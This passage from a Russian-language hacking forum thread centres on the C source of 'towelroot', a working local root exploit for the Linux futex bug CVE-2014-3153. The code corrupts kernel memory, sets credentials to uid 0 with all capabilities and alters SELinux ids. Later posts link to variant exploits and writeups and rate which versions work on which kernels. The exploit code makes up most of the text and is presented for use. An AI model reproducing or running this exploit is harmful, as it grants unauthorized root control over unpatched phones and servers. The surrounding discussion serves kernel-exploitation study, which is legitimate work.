		sub_b7d8_writemem(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit);
 
		pthread_mutex_unlock(is_kernel_writing);
 
		while (1) {
			sleep(10);
		}
	}
 
	printf("cpid3 resumed\n");
 
	pthread_mutex_lock(is_kernel_writing);
 
	printf("WOOT\n");
 
	sub_ba44_readmem(HACKS_final_stack_base, &stackbuf, sizeof stackbuf);
 
	sub_ba44_readmem(stackbuf.task, taskbuf, sizeof taskbuf);
 
	cred = NULL;
	security = NULL;
	pid = 0;
 
	for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
		struct task_struct_partial *task = (void *)&taskbuf[i];
 
 
		if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
		 && task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
		 && task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
		 && task->real_cred == task->cred) {
			cred = task->cred;
			break;
		}
	}
 
	sub_ba44_readmem(cred, &credbuf, sizeof credbuf);
 
	security = credbuf.security;
 
	if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) {
		sub_ba44_readmem(security, &securitybuf, sizeof securitybuf);
 
		if (securitybuf.osid != 0
		 && securitybuf.sid != 0
		 && securitybuf.exec_sid == 0
		 && securitybuf.create_sid == 0
		 && securitybuf.keycreate_sid == 0
		 && securitybuf.sockcreate_sid == 0) {
			securitybuf.osid = 1;
			securitybuf.sid = 1;
 
			printf("YOU ARE A SCARY PHONE\n");
 
			sub_b7d8_writemem(security, &securitybuf, sizeof securitybuf);
		}
	}
 
	credbuf.uid = 0;
	credbuf.gid = 0;
	credbuf.suid = 0;
	credbuf.sgid = 0;
	credbuf.euid = 0;
	credbuf.egid = 0;
	credbuf.fsuid = 0;
	credbuf.fsgid = 0;
 
	credbuf.cap_inheritable.cap[0] = 0xffffffff;
	credbuf.cap_inheritable.cap[1] = 0xffffffff;
	credbuf.cap_permitted.cap[0] = 0xffffffff;
	credbuf.cap_permitted.cap[1] = 0xffffffff;
	credbuf.cap_effective.cap[0] = 0xffffffff;
	credbuf.cap_effective.cap[1] = 0xffffffff;
	credbuf.cap_bset.cap[0] = 0xffffffff;
	credbuf.cap_bset.cap[1] = 0xffffffff;
 
	sub_b7d8_writemem(cred, &credbuf, sizeof credbuf);
 
	pid = syscall(__NR_gettid);
 
	for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
		static unsigned long write_value = 1;
 
		if (taskbuf[i] == pid) {
			sub_b7d8_writemem(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value);
 
			if (getuid() != 0) {
				printf("ROOT FAILED\n");
				while (1) {
					sleep(10);
				}
			}
			else {	//rooted
				break;
			}
		}
	}
 
	//rooted
 
	ret = system("/system/bin/touch /data/local/tmp/foo");
	if (ret != 0) {
		printf("COMMAND FAILED\n");
		while (1) {
			sleep(10);
		}
	}
 
	pid = fork();
	if (pid == 0) {	//child
		printf("rebooting in 15\n");
 
		sleep(15);
 
		printf("rebooting\n");
 
		system("reboot");
 
		while (1) {
			sleep(10);
		}
	}
 
	pthread_mutex_lock(&done_lock);
	pthread_cond_signal(&done);
	pthread_mutex_unlock(&done_lock);
 
	while (1) {
		sleep(10);
	}
 
	return;
}
 
void *sub_8394(void *arg)
{
	int prio;
	struct sigaction act;
	int ret;
 
	prio = (int)arg;
	last_tid = syscall(__NR_gettid);
 
	pthread_mutex_lock(&is_thread_desched_lock);
	pthread_cond_signal(&is_thread_desched);
 
	act.sa_handler = sub_881c_get_root;
	act.sa_mask = 0;
	act.sa_flags = 0;
	act.sa_restorer = NULL;
	sigaction(12, &act, NULL);
 
	setpriority(PRIO_PROCESS, 0, prio);
 
	pthread_mutex_unlock(&is_thread_desched_lock);
 
	do_dm_tid_read = 1;
 
	while (did_dm_tid_read == 0) {
		;
	}
 
	ret = syscall(__NR_futex, &_swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
	printf("futex dm: %d\n", ret);
 
	while (1) {
		sleep(10);
	}
 
	return NULL;
}
 
pid_t sub_7690(int prio)
{
	pthread_t th4;
	pid_t pid;
	char filename[256];
	FILE *fp;
	char filebuf[0x1000];
	char *pdest;
	int vcscnt, vcscnt2;
 
	do_dm_tid_read = 0;
	did_dm_tid_read = 0;
 
	pthread_mutex_lock(&is_thread_desched_lock);
	pthread_create(&th4, 0, sub_8394, (void *)prio);
	pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
 
	pid = last_tid;
 
	sprintf(filename, "/proc/self/task/%d/status", pid);
 
	fp = fopen(filename, "rb");
	if (fp == 0) {
		vcscnt = -1;
	}
	else {
		fread(filebuf, 1, sizeof filebuf, fp);
		pdest = strstr(filebuf, "voluntary_ctxt_switches");
		pdest += 0x19;
		vcscnt = atoi(pdest);
		fclose(fp);
	}
 
	while (do_dm_tid_read == 0) {
		usleep(10);
	}
 
	did_dm_tid_read = 1;
 
	while (1) {
		sprintf(filename, "/proc/self/task/%d/status", pid);
		fp = fopen(filename, "rb");
		if (fp == 0) {
			vcscnt2 = -1;
		}
		else {
			fread(filebuf, 1, sizeof filebuf, fp);
			pdest = strstr(filebuf, "voluntary_ctxt_switches");
			pdest += 0x19;
			vcscnt2 = atoi(pdest);
			fclose(fp);
		}
 
		if (vcscnt2 == vcscnt + 1) {
			break;
		}
		usleep(10);
 
	}
 
	pthread_mutex_unlock(&is_thread_desched_lock);
 
	return pid;
}
 
int sub_7390(void)
{
	int sockfd;
	struct sockaddr_in addr = {0};
	int ret;
	int sock_buf_size;
 
	sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
	if (sockfd < 0) {
		printf("socket failed\n");
		usleep(10);
	}
	else {
		addr.sin_family = AF_INET;
		addr.sin_port = htons(LOCAL_PORT);
		addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	}
 
	while (1) {
		ret = connect(sockfd, (struct sockaddr *)&addr, 16);
		if (ret >= 0) {
			break;
		}
		usleep(10);
	}
 
	sock_buf_size = 1;
	setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
 
	return sockfd;
}
 
void *sub_5960(void *arg)
{
	int sockfd;
	struct mmsghdr msgvec[1];
	struct iovec msg_iov[8];
	unsigned long databuf[0x20];
	int i;
	int ret;
 
	waiter_thread_tid = syscall(__NR_gettid);
	setpriority(PRIO_PROCESS, 0, 12);
 
	sockfd = sub_7390();
 
	for (i = 0; i < ARRAY_SIZE(databuf); i++) {
		databuf[i] = MAGIC;
	}
 
	if (ph->l2 == 0) {
		for (i = 0; i < 8; i++) {
			msg_iov[i].iov_base = (void *)MAGIC;
			msg_iov[i].iov_len = MAGIC_ALT;
		}
	}
	else {
		for (i = 0; i < 8; i++) {
			msg_iov[i].iov_base = (void *)MAGIC;
			msg_iov[i].iov_len = 0x10;
		}
	}
 
	msgvec[0].msg_hdr.msg_name = databuf;
	msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
	msgvec[0].msg_hdr.msg_iov = msg_iov;
	msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
	msgvec[0].msg_hdr.msg_control = databuf;
	msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
	msgvec[0].msg_hdr.msg_flags = 0;
	msgvec[0].msg_len = 0;
 
	syscall(__NR_futex, &_swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &_swag2, 0);
 
	do_socket_tid_read = 1;
 
	while (1) {
		if (did_socket_tid_read != 0) {
			break;
		}
	}
 
	ret = 0;
 
	switch (ph->l1) {
	case 0:
		while (1) {
			ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
			if (ret <= 0) {
				break;
			}
		}
 
		break;
 
	case 1:
		ret = syscall(__NR_recvmmsg, sockfd, msgvec, 1, 0, NULL);
		break;
 
	case 2:
		while (1) {
			ret = sendmsg(sockfd, &(msgvec[0].msg_hdr), 0);
			if (ret <= 0) {
				break;
			}
		}
		break;
 
	case 3:
		ret = recvmsg(sockfd, &(msgvec[0].msg_hdr), 0);
		break;
	}
 
	if (ret < 0) {
		perror("SOCKSHIT");
	}
 
	printf("EXIT WTF\n");
 
	while (1) {
		sleep(10);
	}
 
	return NULL;
}
 
static inline setup_exploit(unsigned long mem)
{
	*((unsigned long *)(mem - 0x04)) = 0x81;
	*((unsigned long *)(mem + 0x00)) = mem + 0x20;
	*((unsigned long *)(mem + 0x08)) = mem + 0x28;
	*((unsigned long *)(mem + 0x1c)) = 0x85;
	*((unsigned long *)(mem + 0x24)) = mem;
	*((unsigned long *)(mem + 0x2c)) = mem + 8;
}
 
void *sub_1b08(void *arg)
{
	int ret;
	char filename[256];
	FILE *fp;
	char filebuf[0x1000];
	char *pdest;
	int vcscnt, vcscnt2;
	unsigned long magicval;
	pid_t pid;
	unsigned long goodval, goodval2;
	unsigned long addr, setaddr;
	int i;
	char buf[0x1000];
 
	syscall(__NR_futex, &_swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
 
	while (1) {
		ret = syscall(__NR_futex, &_swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &_swag2, _swag);
		if (ret == 1) {
			break;
		}
		usleep(10);
	}
 
	sub_7690(6);
	sub_7690(7);
 
	_swag2 = 0;
	do_socket_tid_read = 0;
	did_socket_tid_read = 0;
 
	syscall(__NR_futex, &_swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &_swag2, _swag2);
 
	while (1) {
		if (do_socket_tid_read != 0) {
			break;
		}
	}
 
	sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
 
	fp = fopen(filename, "rb");
	if (fp == 0) {
		vcscnt = -1;
	}
	else {
		fread(filebuf, 1, sizeof filebuf, fp);
		pdest = strstr(filebuf, "voluntary_ctxt_switches");
		pdest += 0x19;
		vcscnt = atoi(pdest);
		fclose(fp);
	}
 
	did_socket_tid_read = 1;
 
	while (1) {
		sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
		fp = fopen(filename, "rb");
		if (fp == 0) {
			vcscnt2 = -1;
		}
		else {
			fread(filebuf, 1, sizeof filebuf, fp);
			pdest = strstr(filebuf, "voluntary_ctxt_switches");
			pdest += 0x19;
			vcscnt2 = atoi(pdest);
			fclose(fp);
		}
 
		if (vcscnt2 == vcscnt + 1) {
			break;
		}
		usleep(10);
	}
 
	printf("starting the dangerous things\n");
 
	setup_exploit(MAGIC_ALT);
	setup_exploit(MAGIC);
 
	magicval = *((unsigned long *)MAGIC);
 
	sub_7690(11);
 
	if (*((unsigned long *)MAGIC) == magicval) {
		printf("using MAGIC_ALT\n");
		MAGIC = MAGIC_ALT;
	}
 
	while (1) {
		is_kernel_writing = (pthread_mutex_t *)malloc(4);
		pthread_mutex_init(is_kernel_writing, NULL);
 
		setup_exploit(MAGIC);
 
		pid = sub_7690(11);
 
		goodval = *((unsigned long *)MAGIC) & 0xffffe000;
 
		printf("%p is a good number\n", (void *)goodval);
 
		do_splice_tid_read = 0;
		did_splice_tid_read = 0;
 
		pthread_mutex_lock(&is_thread_awake_lock);
 
		kill(pid, 12);
 
		pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
		pthread_mutex_unlock(&is_thread_awake_lock);
 
		while (1) {
			if (do_splice_tid_read != 0) {
				break;
			}
			usleep(10);
		}
 
		sprintf(filename, "/proc/self/task/%d/status", pid);
		fp = fopen(filename, "rb");
		if (fp == 0) {
			vcscnt = -1;
		}
		else {
			fread(filebuf, 1, sizeof filebuf, fp);
			pdest = strstr(filebuf, "voluntary_ctxt_switches");
			pdest += 0x19;
			vcscnt = atoi(pdest);
			fclose(fp);
		}
 
		did_splice_tid_read = 1;
 
		while (1) {
			sprintf(filename, "/proc/self/task/%d/status", pid);
			fp = fopen(filename, "rb");
			if (fp == 0) {
				vcscnt2 = -1;
			}
			else {
				fread(filebuf, 1, sizeof filebuf, fp);
				pdest = strstr(filebuf, "voluntary_ctxt_switches");
				pdest += 19;
				vcscnt2 = atoi(pdest);
				fclose(fp);
			}
 
			if (vcscnt2 != vcscnt + 1) {
				break;
			}
			usleep(10);
		}
 
		goodval2 = 0;
		if (ph->l3 != 0) {
			addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
			if (addr != 0xbef000) {
				continue;
			}
 
			setup_exploit(0xbeffe0);
 
			*((unsigned long *)0xbf0004) = 0xbef000 + ph->l3 + 1;
 
			*((unsigned long *)MAGIC) = 0xbf0000;
 
			sub_7690(10);
 
			goodval2 = *((unsigned long *)0x00bf0004);
 
			munmap((unsigned long *)0xbef000, 0x2000);
 
			goodval2 <<= 8;
			if (goodval2 < KERNEL_START) {
 
				setaddr = (goodval2 - 0x1000) & 0xfffff000;
 
				addr = (unsigned long)mmap((unsigned long *)setaddr, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
				if (addr != setaddr) {
					continue;
				}
 
				setup_exploit(goodval2 - 0x20);
				*((unsigned long *)(goodval2 + 4)) = goodval + ph->l3;
				*((unsigned long *)MAGIC) = goodval2;
 
				sub_7690(10);
 
				goodval2 = *((unsigned long *)(goodval2 + 4));
 
				munmap((unsigned long *)setaddr, 0x2000);
			}
		}
		else {
			setup_exploit(MAGIC);
			*((unsigned long *)(MAGIC + 0x24)) = goodval + 8;
 
			sub_7690(12);
			goodval2 = *((unsigned long *)(MAGIC + 0x24));
		}
 
		printf("%p is also a good number\n", (void *)goodval2);
 
		for (i = 0; i < 9; i++) {
			setup_exploit(MAGIC);
 
			pid = sub_7690(10);
 
			if (*((unsigned long *)MAGIC) < goodval2) {
				HACKS_final_stack_base = (void *)(*((unsigned long *)MAGIC) & 0xffffe000);
 
				pthread_mutex_lock(&is_thread_awake_lock);
 
				kill(pid, 12);
 
				pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
				pthread_mutex_unlock(&is_thread_awake_lock);
 
				printf("GOING\n");
 
				write(HACKS_fdm, buf, sizeof buf);
 
				while (1) {
					sleep(10);
				}
			}
 
		}
	}
 
	return NULL;
}
 
void *sub_189c(void *arg)
{
	int sockfd;
	int yes;
	struct sockaddr_in addr = {0};
	int ret;
 
	sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
 
	yes = 1;
	setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
 
	addr.sin_family = AF_INET;
	addr.sin_port = htons(LOCAL_PORT);
	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
 
	listen(sockfd, 1);
 
	while(1) {
		ret = accept(sockfd, NULL, NULL);
		if (ret < 0) {
			printf("**** SOCK_PROC FAILED ****\n");
			while(1) {
				sleep(10);
			}
		}
		else {
			printf("i have a client like hookers\n");
		}
	}
 
	return NULL;
}
 
void sub_12c0_main(void)
{
	unsigned long addr;
	pthread_t th1, th2, th3;
 
	printf("************************\n");
	printf("native towelroot running with pid %d\n", getpid());
 
	sub_bd38_check_kernel_version();
 
	pthread_create(&th1, NULL, sub_189c, NULL);
 
	addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
	addr += 0x800;
	MAGIC = addr;
	if ((long)addr >= 0) {
		printf("first mmap failed?\n");
		while (1) {
			sleep(10);
		}
	}
 
	addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
	addr += 0x800;
	MAGIC_ALT = addr;
	if (addr > 0x110000) {
		printf("second mmap failed?\n");
		while (1) {
			sleep(10);
		}
	}
 
	pthread_mutex_lock(&done_lock);
	pthread_create(&th2, NULL, sub_1b08, NULL);
	pthread_create(&th3, NULL, sub_5960, NULL);
	pthread_cond_wait(&done, &done_lock);
}
 
int main(void)
{
	sub_12c0_main();
 
	printf("Thank you for using towelroot!\n");
 
	sleep(30);
 
	return 0;
}

Последний раз редактировалось Pashkela; 24.08.2014 в 18:53..
Pashkela вне форума   Ответить с цитированием
Старый 28.08.2014, 17:20   #7
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

http://solidwrench.blogspot.ru/2014/...-qemu-and.html
http://solidwrench.blogspot.ru/2014/...queue-bug.html
http://solidwrench.blogspot.ru/2014/...y-replies.html
http://solidwrench.blogspot.ru/2014/...ot-source.html

CVE-2014-3153 PoC on x86 Ubuntu 13.04 - смотреть с 45 секунды
futex_requeue POC exploit for ubuntu x64 3.14.5

I chose an unofficial kernel on purpose to deter script kiddies. Most vulnerable kernels will use plists (newer kernel versions use rb trees(in this exploit) instead of plist) . Also, I compiled the kernel myself, so the offset might be different.

на видео он оффсет не вычисляет, и сплойт для x86

Последний раз редактировалось SynQ; 26.04.2015 в 12:21..
Pashkela вне форума   Ответить с цитированием
Старый 30.04.2015, 21:10   #9
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Почитал, наконец, про этот баг и просмотрел штук 8 выложенных ранее исходников разных эксплойтов.
Небольшое ревью, и что почитать, чтобы разобраться.

Статьи:

1) общее "высокоуровневое" описание + примеры на пальцах
http://tinyhack.com/2014/07/07/explo...ing-towelroot/

2) цикл из 3 подробных статей; если нет времени на остальное, то прочитать только их:
http://blog.nativeflow.com/the-futex-vulnerability
http://blog.nativeflow.com/escalating-futex
http://blog.nativeflow.com/pwning-the-kernel-root

3) Презентация Dougall Johnson - Linux Kernel Futex Fun: Exploiting CVE-2014-3153 на RuxCon 2014 (в конце есть неточность по поводу того, каким адресом мы можем перезаписать addr_limit)
https://ruxcon.org.au/assets/2014/sl...gall-futex.pdf

4) четвертым пунктом при желании можно прочитать линки из поста №7 Pashkela (те посты solidwrench будут понятны после прочтения верхних линков)




Теперь по коду эксплойтов, все они построены на базе реверснутого towelroot для андроида, написанного геохотом:

1) Первые вариации (напр. см. посты № 5, 6 в этой теме) можно подытожить эксплойтом, который находится в составе метасплоита:
https://raw.githubusercontent.com/ra...3153/exploit.c

2) на базе метасплойта (и всех первых вариаций) эксплойт от geekben (см. пост № 8), который по факту не работает и не может работать на х86 (оставил смещение для addr_limit от ядра андроида, при этом на скриншоте оно правильное - наверно специально испортил эксплойт).
https://github.com/geekben/towelroot

3) самая нормальная версия для x86 на базе сломанного эксплойта от geekben - от lieanu (исправлено смещение для addr_limit, указан правильный размер для маллока pthread_mutex_t и добавлены комментарии), работу можно проверить на Ubuntu 12.10:
https://github.com/lieanu/CVE2014-3153

4) версия для CentOS 7.0 от Kaiqu Chen. Опять на базе метасплоита, но сильно перелопачен код, чем отличается в лучшую сторону, все смещения захардкожены для CentOS 7.0 x64, а также присутствует код восстановления wait_list в адекватный вид так, чтобы после выхода из эксплойта система не зависла (коренное отличие от всех иных эксплойтов).
http://www.exploit-db.com/exploits/35370/

5) futb0l.c от solidwrench (самый короткий, от верхних отличается заточенностью под ядра >=3.14, где в rt_mutex вместо plist используется структура rb-tree, а также использованием для заполнения своими значениями стека ядра сискола semctl, вместо __sendmmsg. См. пост №7 Pashkela.

Ну и конечно не обойтись без kernel/futex.c и kernel/rtmutex.c (а task_struct - в include/linux/sched.h).


Баг очень интересный и нетривиальный. Рекомендую посмотреть всем, кто заинтересован в linux kernel exploitation.

PS Почистил немного тему. Кстати номер темы совпадает с номером CVE.
PPS В эксплойтах 1-3 у thread-а, в котором получен рут, перезаписывают pid значением 1. Зачем - совершенно непонятно, к тому же прекрасно работает и без этой перезаписи...
PPPS сискол sendmmsg, который юзается в эксплойтах 1-4 для заполнения стэка нашими значениями, появился только в ядре 3.0. Для более ранних надо использовать другой.

Последний раз редактировалось SynQ; 02.05.2015 в 18:20.. Причина: добавил слайды с ruxcon, время появления sendmmsg()
SynQ вне форума   Ответить с цитированием
Старый 09.07.2015, 15:22   #10
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

towelroot с комментариями и восстановлением wait_list, утекший из недр hackingteam:
https://github.com/informationextrac...nux4_exploit.c
SynQ вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot